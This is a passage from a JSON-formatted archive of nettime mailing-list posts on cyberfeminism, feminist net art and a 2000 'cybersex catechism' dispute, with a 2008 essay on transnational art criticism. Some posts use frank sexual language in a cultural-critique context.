in\ncyberspace. They are often overwhelmed with counter-discourse, ignored, or\ntotalized under the sign of being \"politically correct.\" A remark by a woman may\nnot be interrupted, but continuity of discourse, with particular regard to\nwomen's issues, is often interrupted. Here again there is a need for separatist\nactivities at this point in post/feminist decolonization of cyberspace. During\nthis early stage of development, women need to experiment in developing their\nown working and learning spaces. This kind of activity has occurred in all\nphases of feminists territorial decolonization, and has shown itself to be very\nproductive. Separatism should be welcome among cyberfeminists and among those\nwho support a cyberspace of difference. It should be remembered that separatism\namong a minoritarian (disenfranchised) group is not negative. It's not sexist,\nit's not racist, and it's not even necessarily a hindrance to democratic\ndevelopment. There is a distinct difference between using exclusivity as part of\na strategy to make a specific perception or way of being in the world a\nuniversal, and using exclusivity as a means to escape a false universal (one\ngoal of cyberfeminist separatism). There is also a distinct difference between\nusing exclusion as a means to maintain structures of domination, and using it as\na means to undermine them (another goal of cyberfeminist separatism).\n\nAt the same time, separatism can reach a point where it is counterproductive.\nThe cycle of useful production in regard to separatist activity can be traced by\nthe applicability of one of its main slogans, \"The personal is political.\" In\nconsciousness-raising groups, personal information is typically disclosed. Then\npatterns begin to emerge out of these disclosures. Notions that were thought to\nbe personal, private, idiosyncratic, and psychologically bound turn out to be\npoints of group knowledge and represent sociological tendencies. Group members\ncome to realize that their \"individual\" problems are only mirrors of social\npathologies that affect all the people of a given class, race, gender, etc. In\nturn, each individual comes to realize that it is not a personal flaw that led\nhe/r to be in an unacceptable socio-economic situation, but that the structure\nof the political economy is to blame. In order for this process to succeed,\nthere must be a solidarity of identity, and when oppression is high, this can\nonly happen in a separatist environment. However, once these social currents are\ndiscovered and this knowledge is deployed among the given social group, the need\nfor separatist activity drops and can even become counterproductive. At this\npoint, the uneasy romance between coalition and diversity can begin.\n\nFor feminism in general, the time for separatist action seems to be over;\nhowever, we must remember that all areas of society are not equally\ngendered-some territories are more equalized than others. Given that cyberspace\nis one of the most inequitable, it should be expected that a number of early\nfeminist organizational and educational tactics will be revived.\n\nFeminine Subjectivity\n\nCyberfeminism is currently at that unfortunate point where it has to decide who\ngets to be a separatist cyberfeminist and who does not. The haunting question of\n\"what is a woman?\" once again returns. In theory, this problem is graspable, but\nfirst, what is the problem? Looking back on any feminist movement, there have\nalways been tremendous conflicts within women's groups and organizations brought\non by attempts to define feminine subjectivity (and thereby, \"us\" and \"them\").\nIn the second wave, the feminine was defined in a manner that seemed largely to\nreflect the subjectivity of white, middle class, straight women. The third wave\nhad to debate whether or not transvestites, transsexuals, and other \"males\" who\nclaimed to be female identified should be accepted into activist organizations\n(and at the same time, women of color, working class women, and lesbians all\nstill had grounds for complaints). In addition, it was never decided how to\nseparate the feminine from other primary social variables that construct a\nwoman's identity. For example, part of the problem in many feminist\norganizations, and in WAC in particular, was that the middle class professional\nwomen had the greatest economic and cultural resources. They therefore had\ngreater opportunity for leadership and policy making. The women outside of this\nclass felt that the professionals had unfair advantages and that their agenda\nwas the primary agenda, which in turn brought about a destructive form of\nseparation. \n\nThese are but some of the practical problems that have emerged out of the issue\nof exclusivity and imperfections inherent in definitions. Defining feminine\nsubjectivity can never be done to the satisfation of all, and yet, practically\nspeaking, it has to be done. \n\nThe current theoretical solution to this problem is to have small alliances and\ncoalitions that do not rely on bureaucratic process. Such coalitions should be\nexpected to dissolve at various velocities over time. Also, naively humanistic\nor metaphysical principles (depending on one's perspective) like \"sisterhood\"\nshould be left in the past, and we must all learn to live with the conflicts and\ncontradictions of a house of difference. Of course, this is easier said than\ndone. Truth changes with the situation. In a territory like a US or British\ncultural studies department, we can talk about living in a house of difference.\nIn other more inequitable territories, it is more difficult, and clear\nboundaries (often essentialized) of differences for identity purposes are often\nrequired. For example, telling a person of color who has just been beaten by the\npolice that \"the officers were only reacting to a racist textual construction\nthat links people of color with the sign of criminality\" is probably not going\nto have much resonance (even though in legitimized academic territories the\nargument is quite convincing). While the simpler explanation, \"your ass just got\nbeat because you are a person of color\" will be quite convincing, because in\nthis case, who is on what side of the racial divide is unambiguous in the mind\nof the unwilling participant. In this context, the hard boundaries of\nessentialism make sense and have greater explanatory power until the ambiguity\nthat emerges out of successful consciousness raising and contestation becomes a\npart of everyday life. Consequently, one can expect that essentialized notions\nof the feminine will continue to appear and find acceptance.** \n\nDinner Parties\n\nCyberfeminism is currently drawing upon social and cultural strategies from past\nwaves of feminism. For example, dinner parties that celebrate women's\nachievements and serve as convivial coalition building events are a famous part\nof feminist history, as witnessed not only in the fundraising dinner parties\nheld by female suffragists, but also in Judy Chicago's Dinner Party; in Suzanne\nLacy's art/life performances; in Mary Beth Edelson's \"Last Supper\" detournement;\nand in the countless feasts prepared and served to each other by feminists all\nover the world in the past decades. In recognition that women need to feed each\nother and desire conviviality, Kathy Huffman and Eva Wohlgemuth in their Web\nproject, \"Face Settings,\" are using the medium of the dinner party as an\norganizing and educational tool for cyberfeminists. The events--which often\nhappen during international media festivals and symposia where men are the\nleading actors--are meant to overcome the isolation of cyberculture, to get\nwomen connected to each other, and to help them begin to learn and use\nelectronic technology in producing their own work. It has been shown that\nforming strong working groups among people who only communicate virtually is far\nless productive than forming groups among people who also meet in the flesh. For\nthis reason, it is important for cyberfeminist to make opportunities to meet\ntogether bodily and form affinity groups to facilitate building a transnational,\ntranscultural movement. And what better way than a dinner party to dissolve the\nestrangement so often produced by even the friendliest online communications?\nIndeed, the virtual medium must not replace the affective and the\naffinity-building functions of presence.\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "14 Jul 97 15:45:48 EDT",
                "to": "Nettime <nettime-l {AT} Desk.nl>",
                "message-id": "970714194548_72722.3157_FHP49&#45;2 {AT} CompuServe.CO",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00045.html",
                "list": "nettime_l",
                "author_name": "Steven Kurtz",
                "subject": "<nettime> Cyberfeminism Part 2"
            },
            {
                "content-type": "text/plai",
                "from": "Steven Kurtz <72722.3157 {AT} compuserve.com>",
                "id": "00046",
                "content": "\nNotes on the Political Condition of Cyberfeminism continued:\n\nCyberfeminist Education\n\nCyberfeminists have already grasped the importance of making hands-on\ntechnological education for women a core priority. But this education needs to\nbe contextualized within a critical feminist analysis and discourse about women,\nNetculture and politics, and the pancapitalist labor economy. Cyberfeminists\nneed to make their voices heard much more strongly in the discussion of Net\ndevelopment. In doing so, cyberfeminism needs to think about who they consider\ntheir constituency. As a cultural and technical avant garde, cyberfeminists need\nto remember that most women who now work with computers and information\ntechnology in first world countries are at best glorified typists, for whom the\ncomputer simply represents an intensification of work. The question must be\nasked: What relationship do these women have to technology?  How is this\nrelationship produced, and how can it be contested? Cyberfeminism could provide\na consciousness raising site where women can tell stories about their\nexperiences with all the different aspects of technology, and how it affects\ntheir lives.  Such a site could teach women to question the increasing\ntransparency of technological incursion into their workplaces and into everyday\nlife. And of course, there must be ongoing education, information, and activism\nconcerning the feminized \"global homework economy (Haraway)\" which is profoundly\nworsening the lives of women in developing countries.\n \nFeminist education (women's studies) as it was pioneered in the US in the early\n1970's included the idea that a \"separate\" education, where women would not have\nto compete with males, and where they would have the freedom to frame issues and\nask questions that challenged the hegemony of received practices and ideas.  The\nFeminist Art Programs in California, for example, maintained their own studios,\ncourses, and teachers within an institutional academic structure. But more\ndeeply, it also became evident that a separate space allowed uncensored and\nradical experimentation that included the meltdown of traditional disciplines,\npractices, and territories of expertise, and that initiated some postmodern art\npractices that have changed the face of mainstream art and art history in the\nUS. What might a feminist educational program in computer science and media\ntechnology accomplish? Imagine!! \n\nCyberspace lends itself nicely to the creation of separate learning and practice\nspaces for different groups, and it seems fruitful to expand and maintain these\nspaces for now in the spirit of feminist self-help. One of the most important\neducational tools cyberfeminists can offer is an ongoing directory of electronic\nstrategies and resources for women, including feminist theory discussion groups,\nelectronic publishing and exhibition venues, zines, addresses, bibliographies,\nmediaographies, how-to sites, and general information exchange.  While\ncompilations of these resources are already underway, there is a growing need\nfor a more radical and critical feminist discourse about technology in\ncyberspace (as opposed to discourse in critical and media studies departments in\nuniversities). In cyberfeminism, this discourse arises directly from actual\ncurrent practices and problems, rather than from abstract theorizing. Thus\ncyberfeminism offers the development of applied, activist theory.\n\nAn obvious group to target for cyberfeminist networking, education, and\nexpertise is the first generations of young women now graduating from schools\nand colleges (mainly in the US and Europe) who have had some training in\nelectronic media and in media theory. Having already begun to work in electronic\nmedia in school, many of these young women will be searching for ways to get\nelectronically connected, and thus will experience in full force the gender\nwhammy of cyberspace. While many of them have had some exposure to feminist\ntheory and practice in the academy, most of them will be faced with a terrifying\nvoid when it comes to feminist support and access in cyberspace. Since\ncyberspace seems to attract younger women, it is important that cyberfeminists\ndevelop projects and sites for purposes of recruitment. \n  \nCyberfeminist Body Art\n\nBodies generally are all the rage on the Net--whether they are obsolete, cyborg,\ntechno, porno, erotic, morphed, recombined, phantom, or viral. But most of these\n\"bodies\" are little more than recirculated commodified images of sexuality\n(particularly female and \"deviant\" sexuality) or medical imaging (such as the\ninfamous Visible Human project), and are presented uncritically.  Many artists\nare contributing to an explosion of body art on the Net, much of it simply a\ntransposition of what already exists in other media. \n\nCyberfeminist body-centered art is coming alive on the Net. As to be expected,\nthe vagina and the clitoris have pride of place in much cyberfeminist work such\nas that of VNS Matrix. \"Cunt art\" was a fiercely joyous, liberatory, and radical\nrallying icon for feminist artists and activists in the 1970s. Women's\nconsciousness-raising and medical self-help groups regularly examined each\nothers' genitals and reproductive organs, and the speculum became the symbol not\nonly of sexual liberation, but also of feminist demands for reproductive freedom\nand for a woman-centered health-care system. As Donna Haraway suggests in\n_Modest Witness_, feminists interrogating technoscience (and particularly the\nnew reproductive technologies), need to arm themselves with \"the right speculum\nfor the job,\" one that \"makes visible the data structures that are our bodies.\"\nThe visualization and data-gathering engines that drive both the new information\nand reproductive technologies can be redirected and applied to the task of\n\"designing the analytical languages [the speculums] for representing and\nintervening in our spliced, cyborg worlds\" (Haraway, p. 212).\n\nCyberfeminism can create reconfigured networked bodies in cyberspace, bodies\nthat are passionately incorporated in textual, visual, and interactive works.\nSimultaneously, deconstructive projects that address the proliferation of\ndominant cultural, gender, and sexual codes on the Net will be more effective if\nthey come from a strong, libidinal center, and are understood through the filter\nof women's history. Indeed, cyberfeminist body art projects are haunted by\nwomen's bodily histories. They are often motivated by rage against the forces of\ncensorship, repression, and normalization. Primarily, though, they are motivated\nby absence--the absence created by female infanticide, clitoridectomy,\nanorgasmic medications, suttee, footbinding, enforced celibacy, sexual\nmisinformation, lack of birth control information, rape, forced pregnancy, and\nby female restriction and confinement.\n\nPart of theoretical feminism's project has been to explore the possibility of\ndifference in female sexuality and desire. Much French and American feminist,\nliterary, and psychoanalytic theory in the 1980s was dedicated to this research.\nThe Net offers possibilities for exploring these questions in a new\ntechnological and information setting, and among a new population of\nauthor/producers who are more grounded in practice than in theory. Although this\nline of research seems to have left the binary of woman/nature far behind, it is\nby no means certain that it will not fall into some of the traps of essentialist\nfeminism, or succumb to the lure of simply countering masculinist Netculture\nwith a feminine Netpornography. There is much to be gained from consciously\ninterpolating women's histories and bodies into cyberspace; much can be learned\nfrom naming the absences, and beginning to create a multifaceted, fluid, and\nconscious feminist presence. \n\nConclusion\n\nIt seems safe to say that cyberfeminism is still in its avant-garde phase of\ndevelopment. The first wave of explorers, amazons, and \"misfits\" have wandered\ninto what is generally a hostile territory, and found a new land in need of\ndecolonization. History is repeating itself in a positive cycle, where feminist\navant-garde philosophies, strategies, and tactics from the past can be dusted\noff and reclaim their former vitality. Separatist activities in the real or\nvirutal forms of dinners, discussion groups, and consciousness raising sessions\nare viable once again. Essentialist philosophies enacted in body art, cunt art,\nand identity maintenance recombine with constructionist notions of identity\ndevelopment. An epistemological and ontological anarchy that is celebratory and\nopen to any possibility is threading its way through cyberfeminism. The dogma\nhas yet to solidify. At the same time, the territory is a hostile one, since the\ngold of the information age will not be handed over to women without a struggle.\nTo make matters worse, a big tollbooth guards access to this new territory. Its\nfunction is to collect tribute from every entity--individual, class, or nation,\nthat tries to enter. Entrance for individuals comes at the price of obtaining\neducation, hardware and software; entrance for nations comes at the price of\nhaving acceptable infrastructure, and to a lesser extent, an acceptable\nideology. Consequently, a more negative cycle is also repeating itself, as the\nwomen who have found their way into cyberterritories are generally those who\nhave economic and cultural advantages in other territories; these advantages are\nawarded through class position, with its intimate ties to cultural position and\nrace. As this group helps open the borders to other disenfranchised groups, it\nmust be asked, what kind of ideology and structure will await the newcomers?\nWill it be a repetition of the first and second waves of feminism in political\nand economic arenas? Will cyberspace and its associate institutions be able to\ncope with a house of difference? Knowing and understanding the history of\nwomen's struggle (along with other struggles in race relations and class\nrelations) is essential--not just as a resource for strategies and tactics, not\njust so tactical responses to cybergender issues can be improved, but also to\nsee that the new gender constructions that come to mark the entirety of this new\nterritory (not just virtual domains) do not fall into the same cycle as in the\npast. \n\nConsider this example. In the US, third-wave *activity* peaked in 1991. Barely\nthree years later, this visible resistance had again died down, leaving\ncontinuing debates about feminism largely to the academy. In l997, federal\n\"welfare\" laws were repealed in an all-out assault on the public safety net for\nthe poor. At the same time, forced labor through \"workfare\" and prison programs\nhas begun to intensify, and the expansion of the feminized global electronic\nhomework economy has produced a new wave of sweatshop labor. Since these\ninitiatives have a dramatic effect on poor and working-class women, one would\nthink that the conditions would be right for a new popular front of feminist\nactivism and resistance. However, the social body and public life seem so\nsplintered, alienated, stratified, and distracted by market economy, that as yet\nno signs of such activism have appeared. Is this problem partly that the avant\ngarde has been paid off to the extent that the issues of the poor which do not\neffect its members are no cause for action? Is this problem repeating itself in\ncyberspace and in its manufacture? There are so many more problems to face than\njust access for all.\n\nNotes\n* Just so the authors' position is clear: We do not support a reductive equality\nfeminism, i.e., support the existing system, but believe there should be equal\ngender representation in all its territories. We do not support pancapitalism.\nIt is a predatory, pernicious, and sexist system that will not change even if\nthere was equal representation of gender in the policy making classes. Our\nargument here is that women need access to empowering knowledge and tools which\nare now dominated by a despicable \"virtual class (Kroker).\"  We do not mean to\nsuggest that women become a part of this class. To break the \"glass ceiling\" and\nbecome an active part of the exploiting class that benefits from gender\nhierarchy is not a feminist goal, nor anything to be proud of.\n\n**In her essay, \"The Future Looms: Weaving Women and Cybernetics,\" Sadie Plant\nspins a mythical genesis for the convergence of women and machines in a\nfeminised cybernetics based on women's ancient invention of the craft of\nweaving. This convergence \"is reinforced by cyberfeminism... a perspective\n(which) is received from the future.\" In the 70's creating a female mythology\nwas an inspiring and necessary part of recovering and writing the histories of\nwomen, and of honoring female cultural inventions and female generativity (the\nMatrix). Cyberfeminist mythologizing is a welcome sign of inspiration and\nempowerment, and at this point in time, makes good tactical sense. Such work\noffers a clear explanation of a constructive relationship between women and\ntechnology, and it begins the process of rewriting the gender code of\ncyberspace. However, in a political sense, the function of the mythic \"natural\nwoman\" has its limits. In this case, it seems just as likely that weaving was a\nwoefully boring task that was forced upon the disenfranchised. (This trend of\nboring and alienating work as a the domain of the disempowered is certainly\nrepeating itself in the pancapitalist technocracy.) As cyberfeminist critique\nincreases in complexity, and therefore in ambiguity, the current cyberfeminist\nmythology will have to fade away much as matriarchal Crete and cunt iconography\ndid in the late 70s.\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "14 Jul 97 15:46:32 EDT",
                "to": "Nettime <nettime-l {AT} Desk.nl>",
                "message-id": "970714194632_72722.3157_FHP49&#45;3 {AT} CompuServe.CO",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00046.html",
                "list": "nettime_l",
                "author_name": "Steven Kurtz",
                "subject": "<nettime> Cyberfeminism Part 3"
            },
            {
                "id": "00148",
                "content": "\nFaith Wilding wrote:\nSubject: Feminist art\n\nDear nettime,\n\nI just have to say that the article Vagina on the Net demonstrated \nthat the writer has a very superficial and misguided knowledge of feminist \nart, and very little understanding of the history of feminism in the last 25 \nyears. If Anne de Haan's article was a representative summation of feminist \nart on the WEB, and generally, then this is very sad. I see the Net as \nprimarily a communications network at present, and I'm pained to see that the \ncommunication on feminism and feminist art is at such a low level. \nI do very much appreciate the work being done by VNS Matrix and a few others. \nBut it seems that there's a serious under-representation of the work being \ndone by feminist cultural creators on Nettime.\nAs a correction I must add that Lucy Lippard did not \"found a feminist art \ninstitution\" in the USA. The feminist art movement (\"institution\" is the wrong\nterm here entirely) was brought into being by diverse groups all over the USA \nworking collaboratively and networking nationally. Much of this history is \ncontained in the book: The Power of Feminist Art, edited by Broude and \nGarrard, and published by Abrams. Though the book has many flaws, one can gain\na good overview of the development and history of the feminist art movement \nfrom it. And let's not forget that feminist art is a mobile category which is \nnow spread throughout the world. And lives!\n \nIn solidarity, Faith Wilding\n \n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00148.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Feminist art (fwd)",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "achel greene <rachel {AT} rhizome.com>",
                        "content": "\nObviously, there is much feminist artwork, theory, and thought online that\nis not represented by the 'bossy cunts' discussion or the VNS Matrix.\nInterested parties should query the rhizome CONTENTBASE under 'gender' or\n'feminism' for more commentary in this area. [ http://www.rhizome.com ]\n\nHowever, while many nettime threads take heat, and stop-the-thread posts\ncome and go, I want to voice my explicit support of 'bossy cunts online.'\nTo those who don't really believe sexism exists, I say... pick up a\nmagazine? see a movie? And, for sure, the \"humanist\" sexless agenda leaves\nme cold between the legs.\n\nSome have posted that this thread has been too low, or of inferior quality\n-- but let's not dismiss politicizing discussions. What gets attention on\nnettime? What gets dismissed? Further, I don't think Anne, or anyone\nactually, has been claiming to represent respective collectives. In my\nview, these issues are not discussed enough, and it is limiting not to\nencourage a range of voices.\n\n\n\n\nRachel Greene\nEditor\nRHIZOME INTERNET\n\n++CHECK OUT THE RHIZOME, ADA WEB AND MOMA COLLABORATION: http://www.tech90s.net\n________________________________________________\n\n         --> rachel {AT} rhizome.com\n\n         --> http://www.rhizome.com\n\n         --> tel +1 212 328 2884\n\n         --> fax +1 212 406 1399\n\n         --> 368 Broadway #403, New York, NY 10013\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00152",
                        "date": "Wed, 18 Jun 1997 13:16:54 +0100",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "v03007808afcd7ae663e7 {AT} [206.20.224.224]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00152.html",
                        "content-type": "text/plai",
                        "author_name": "rachel greene",
                        "subject": "Re: <nettime> Feminist art/ bossy cunts onlin"
                    }
                ],
                "message-id": "199706180846.KAA09663 {AT} xs1.xs4all.nl",
                "date": "Wed, 18 Jun 1997 10:46:43 +0200 (MET DST)",
                "content-type": "text/plai"
            },
            {
                "id": "00059",
                "content": "\n[Sender: richard barbrook <richard {AT} hrc.wmin.ac.uk>]\n\ncybersex catechism\n\n\n\"I fuck therefore I am\" (Shu Lea Cheang - 2000)\n\n1.0  Do you want to play with your self?\nShift your identity, be on top, attach an extra port.\n\n2.0  Is the pussy the matrix?\nWe are jacking into the Big Daddy mainframe so we can jerk off.\n\n3.0  Is one-hand typing the best form of safe sex?\nI was unable to open up when I had a virus concealed in an attachment.\n\n4.0  Why does the Net love pioneering porn?\nEvery other medium has its own intimate massage: telephone - chatlines;\nmotor car - backseat fumbling; hormone research - contraception; VCR - sex\nfilms.\n\n5.0  Does virtual sex cause real jealousy?\nThe swapping of text is the low bandwidth version of exchanging bodily fluids.\n\n6.0  \"Feeling horny?\" Why can't I say this as easily in a bar as on-line?\nWhen hiding behind my anonymous IP address, I can lose all my inhibitions\nabout exploring my deepest desires.\n\n7.0  Have you read the joy of text?\nCybersex is the theory without the practice.\n\n8.0  Do we have a fetish for technology?\nSometimes I prefer my toys to my lover.\n\n9.0  Is technology good for sex?\nMy body has been upgraded with an extra hard drive, more RAM, lots of\nshareware and the hottest plug-ins.\n\n10.0  Wouldn't you like to download an orgasm?\nLet's make XXXML into an open source protocol.\n\n\n10-12-2000\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "NETTIME-L {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0012/msg00059.html",
                "list": "nettime_l",
                "author_name": "Niki Gomez",
                "subject": "<nettime> cybersex catechism",
                "from": "\"Niki Gomez\" <niki {AT} cybersalon.org>",
                "follow-up": [
                    {
                        "from": "ichard barbrook <richard {AT} hrc.wmin.ac.uk>",
                        "content": "\nHiya,\n\nOooops, my fault. I forwarded the *draft* of the FAQ for the December\ncybersex cybersalon to the nettime listserver by mistake. My apologies to\nall concerned.\n\nI will now go and whip myself in penance for my sins.\n\nLater,\n\nRichard\n\n-------------------------------------------------------------------\nDr. Richard Barbrook\nHypermedia Research Centre\nSchool of Communications and Creative Industries\nUniversity of Westminster\nWatford Road\nNorthwick Park\nHARROW HA1 3TP\n\n<www.hrc.wmin.ac.uk>\n\n+44 (0)20 7911 5000 x 4590\n\n-------------------------------------------------------------------\n\"While there is irony, we are still living in the prehistoric age. And we\nare not out of it yet...\" - Henri Lefebvre\n-------------------------------------------------------------------\n\nThe HRC is involved in running regular cybersalons at the ICA in London. If\nyou would like to be informed about forthcoming events, you can subscribe\nto a listserver on our website: <www.cybersalon.org>.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00068",
                        "date": "Thu, 14 Dec 2000 17:20:39 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200012142220.RAA25353 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0012/msg00068.html",
                        "content-type": "text/plai",
                        "author_name": "richard barbrook",
                        "subject": "Re: <nettime> cybersex catechism"
                    }
                ],
                "message-id": "200012130008.TAA08871 {AT} bbs.thing.net",
                "date": "Mon, 11 Dec 2000 11:51:13 +0000",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "shu lea cheang <shulea {AT} earthlink.net>",
                "id": "00063",
                "content": "\noh, dear, you have just put the words in my mouth.\n\n>[Sender: richard barbrook <richard {AT} hrc.wmin.ac.uk>]\n>\n>cybersex catechism\n>\n\"I fuck therefore I am\" (Shu Lea Cheang - 2000)\n\n\n<Please remove this mis-quote>\n\n\nI failed to inter(dis)course\nat my cybersalon cybersex talk.\n\nAs a mobile autogasm self-unit,\ni do not endorse the cybersex catechism.\n(catechism, do the British recite them during fucking?)\n\nThe Salon remains a masturbatory exercise.\n\nIn case of any confusion happen again,\nA pussy is not a clitoris.\n\n\nI did suck on VNS Matrix' clitoris,\nbut i claim my own pussy.\n\nQuote me on this one.\n\nshu lea cheang, 2000\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 13 Dec 2000 12:03:38 -0500",
                "to": "NETTIME-L {AT} bbs.thing.net",
                "message-id": "20001213120338.A14241 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0012/msg00063.html",
                "list": "nettime_l",
                "author_name": "shu lea cheang",
                "subject": "<nettime> I did not fuck at CyberSalon. I was raped."
            }
        ],
        "desc": "..."
    },
    "Critique Art Critique": {
        "lists": [
            {
                "id": "00081",
                "content": "50 Ways To Leave Your Lover,\nOr, let's find a completely new art criticism\n\nFor most of the twentieth century, art was judged with respect to the \npreviously existing state of the medium. What mattered was the kind of \nrupture it made, the unexpected formal or semiotic elements that it \nbrought into play, the way it displaced the conventions of the genre or \nthe tradition. The prize at the end of the evaluative process was a \ndifferent sense of what art could be, a new realm of possibility for the \naesthetic. Let's take it as axiomatic that all that has changed, \ndefinitively.\n\nThe backdrop against which art stands out now is a particular state of \nsociety. What an installation, a performance, a concept or a mediated \nrepresentation can do with its formal, affective and semiotic means is \nto mark out a possible or effective shift with respect to the laws, the \ncustoms, the measures, the mores, the technical and organizational \ndevices that define how we must behave and how we can relate to each \nother at a given time and in a given place. What you look for in art is \na different way to live, a fresh chance at coexistence. Anything less is \njust the seduction of novelty - the hedonism of insignificance.\n\nIf that's the case (if the axiom really holds), then a number of \nfascinating questions arise - for the artist, of course, but also for \nthe critic. Where the critic is concerned, one good question is this: \nHow do you address yourself to artists or publics or potential peers \nacross the dividing lines that separate entire societies? How do you \nevaluate what counts as a positive or at least a promising change in the \nexisting balance of a foreign culture?\n\nI'm sure you immediately see how difficult this is. Already in the past, \nit was hard enough to say that a particular aesthetic tradition and a \nparticular state of the medium defined the leading edge, the point at \nwhich a rupture became interesting. Yet still there were times when all \nthe painters seemed to flock to Rome, then later to Paris, then later to \nNew York City; and so through the sheer aggregation of techniques and \nstyles, the fiction of a leading edge could be maintained, at least by \nsome. But in the face of a simultaneous splintering and decline of what \nused to be called \"the West,\" and a correlative rise of some of \"the \nRest,\" who could seriously say that certain local, national or regional \nlaws, customs, measures, mores and technical or organizational devices \nare really the most interesting ones to transgress or even break into \npieces, in hopes of a better way of being? Or to be even cruder about \nit, and closer to the actual state of things: Who can seriously claim \nthat the Euro-American forms of society are the benchmark against which \nchange must be measured - even if those societies are still the most \nopulent and most developed and most heavily armed with all the nastiest \nof technological weapons?\n\nLet's face it, the task of a transnational critique for the new arts of \nliving within, against and beyond the existing states of the world's \nsocieties is daunting to say the least. However, I think all is not lost \nin this domain, for three connected reasons. The first is that over the \nlast, say, fifty years, and particularly over the last fifteen, we have \nseen the still very superficial but nonetheless real emergence of \nsomething like a world society. To put it another way, there is now some \nkind of connective tissue (call it the transnational economy, the \ntransportation system and global English) that does bind our \npossibilities of life together, though without in any way reducing them \nto being identical. The second is that the vast proliferation of readily \naccessible archives (libraries, web pages, video banks, record \ncollections, museums) offers at least some chance to rapidly sample all \nsorts of information and impressions about what kind of shape a \nparticular society is in, and even what kinds of steps are being made to \ntry and change it. And third, given the above and maybe a good \ntranslator too, what you can do is actually try to stage a dialogue with \nthe people you are meeting, and hope that some of them respond, give you \npointers, correct your mistakes, calm down your unconscious arrogance \nand add their own reflections and aesthetic productions into the mix - \nnot only to obtain a better and more useful critique of their society, \nbut also of yours. Which last, I might add, is something essential and \ndesperately needed, particularly if you are a European or an American.\n\nThe above is a theoretical program, but also just a reflection on some \nexperiences as a critic and activist out in the wide world. The most \nrecent of these experiences was particularly interesting: I was invited \nto participate in and to evaluate a project of artistic remembrance and \nenvisioning, focused on the American military bases that are now (maybe) \nin the process of closing and moving out of the South Korean city of \nDongducheon, and indeed of a range of sites around the DMZ, even as a \nnew megabase is prepared further to the south in a place called \nPyeongtaek. This was an incredible chance to get a first-hand look at \nwhat I think is the scourge of American and Western democracy, namely \nwhat Chalmers Johnson calls the \"empire of bases.\" (And I happen to \nthink that the first-hand look, however fleeting and superficial, is of \ntremendous importance whenever you really want to learn anything). As it \nturned out though, this was also an incredible chance to start getting \nto know a unique spot on the earth, South Korea, which for the worst of \nreasons has been particularly close to the U.S. over the last six \ndecades, despite the fact that many many Koreans would really rather \nclose that never-ending chapter called the Cold War on the Korean Peninsula.\n\nThe trip was too short, but still amazing, and it got me to do some new \nthings in criticism (maybe dubious ones), like using a pop song for \nstarters rather than a quote from Foucault, and approaching street \ndemonstrations via Korean feminists rather than Toni Negri. In the end I \nhad to conclude that the old French saying, \"Celui qui aime a toujours \nraison\" (those who love something are always right), is in fact wrong, \nsince we humans are capable of awful loves, and not only in aesthetics. \nThat said, we're also uniquely capable of starting all over again, as \ny'all probably know in your intimate experience. And so let's ask the \nquestion: What would tomorrow look like without 750+ American military \nbases scattered across the earth? With a little help from some new \nfriends, I tried to go further with that line of inquiry, as you can see \nright here:\n\nhttp://sunsetproject.wordpress.com\n\nAnd now the dialogue is open for whoever has inspiration.\n\nbest, Brian\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00081.html",
